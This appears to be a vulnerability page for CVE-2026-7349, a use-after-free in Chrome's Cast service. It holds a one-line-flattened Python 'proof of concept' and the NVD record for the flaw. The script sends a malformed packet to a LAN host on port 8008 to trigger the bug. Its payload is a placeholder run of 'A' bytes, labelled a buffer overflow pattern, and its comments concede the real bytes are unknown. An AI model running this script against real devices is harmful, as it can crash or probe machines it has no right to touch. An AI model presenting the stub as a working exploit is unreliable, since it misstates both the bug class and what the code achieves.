CVE-2026-7349

import socket # Proof of Concept for CVE-2026-7349 # This script simulates sending malicious network traffic to trigger the Cast UAF. # Target: Google Chrome Cast Service on local network def send_malicious_packet(target_ip, target_port=8008): # Malformed payload structure to trigger the UAF vulnerability # Specific bytes would be determined by fuzzing the Cast protocol payload = b"\x00\x00\x00\x00" + b"A" * 1024 # Example buffer overflow pattern try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, target_port)) print(f"[+] Connected to {target_ip}:{target_port}") # Sending the malicious payload sock.sendall(payload) print("[!] Payload sent. If Chrome version < 147.0.7727.138, it may crash.") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": # Replace with the target IP address on the LAN target = "192.168.1.100" send_malicious_packet(target)

{"cve": {"id": "CVE-2026-7349", "sourceIdentifier": "[email protected]", "published": "2026-04-28T23:16:22.490", "lastModified": "2026-04-30T16:40:46.483", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Cast in Google Chrome prior to 147.0.7727.138 allowed an attacker on the local network segment to execute arbitrary code inside a sandbox via malicious network traffic. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "147.0.7727.138", "matchCriteriaId": "162EE53D-80A0-4153-B6D6-B2EF01E0BDAE"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop_28.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/500034684", "source": "[email protected]", "tags": ["Permissions Required"]}]}}